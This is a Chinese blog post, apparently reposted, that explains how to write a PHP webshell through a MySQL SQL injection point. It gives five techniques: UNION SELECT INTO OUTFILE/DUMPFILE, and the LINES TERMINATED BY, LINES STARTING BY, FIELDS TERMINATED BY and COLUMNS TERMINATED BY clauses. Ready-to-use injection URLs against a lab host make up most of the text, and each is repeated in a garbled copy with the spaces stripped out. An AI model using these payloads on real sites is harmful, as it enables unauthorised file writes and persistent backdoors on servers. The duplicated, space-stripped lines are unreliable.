mysql fields terminated by_MySQL注入点写WebShell的5种方式

SQL写WebShell条件

在mysql的配置文件 my.ini 中,secure_file_priv="c:/wamp64/tmp" 被注释 或者 `secure_file_priv 配置的位置是web目录。

未开启全局gpc。

环境准备

存在

http://172.16.55.130/work/sqli-1.php?id=1

1

http://172.16.55.130/work/sqli-1.php?id=1

376280a427866acd1406bdc57300fc2d.png

SQL注入点写WebShell的5种方式

一、union select 后写入

最常见的写入方式,union select 后跟 into outfile 语句

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/webshell.php'

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?php phpinfo() ?>' into dumpfile 'C:/wamp64/www/work/webshell.php'

1

2

3

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?phpphpinfo ()?>' into outfile 'C:/wamp64/www/work/webshell.php'

http://172.16.55.130/work/sqli-1.php?id=@ union select 1,2,3,4,'<?phpphpinfo ()?>' into dumpfile 'C:/wamp64/www/work/webshell.php'

注意:在windows下,位置的分隔符为 /(斜杠)。

二、lines terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

1

2

3

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?phpphpinfo ()?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?phpphpinfo ()?>';

执行语句后,页面显示内容

b98aa80c55a6b875bc98417f7a3d28c4.png

完整的Sql语句

select * from phpcmsv9.v9_admin_role where roleid = 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

1

select *fromphpcmsv9.v9_admin_rolewhereroleid=1intooutfile'C:/wamp64/www/work/webshell.php'linesterminatedby'<?phpphpinfo ()?>';

3b33f20c179a50f92f9078e3fb2d20c2.png

注入原理

通过select语句查询的内容写入文件,也就是 1 into outfile 'C:/wamp64/www/work/webshell.php' 这样写的原因,然后利用 lines terminated by 语句拼接webshell的内容。lines terminated by 可以理解为 以每行终止的位置添加 xx 内容。

三、lines starting by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

1

2

3

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?phpphpinfo ()?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?phpphpinfo ()?>';

注入原理

利用 lines starting by 语句拼接webshell的内容。lines starting by 可以理解为 以每行开始的位置添加 xx 内容。

四、fields terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

1

2

3

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?phpphpinfo ()?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?phpphpinfo ()?>';

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

五、COLUMNS terminated by 写入

注入点语句

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

1

2

3

http://172.16.55.130/work/sqli-1.php?id=1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?phpphpinfo ()?>';

http://172.16.55.130/work/sqli-1.php?id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?phpphpinfo ()?>';

注入原理

利用 fields terminated by 语句拼接webshell的内容。fields terminated by 可以理解为 以每个字段的位置添加 xx 内容。

作者:manning23 via

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值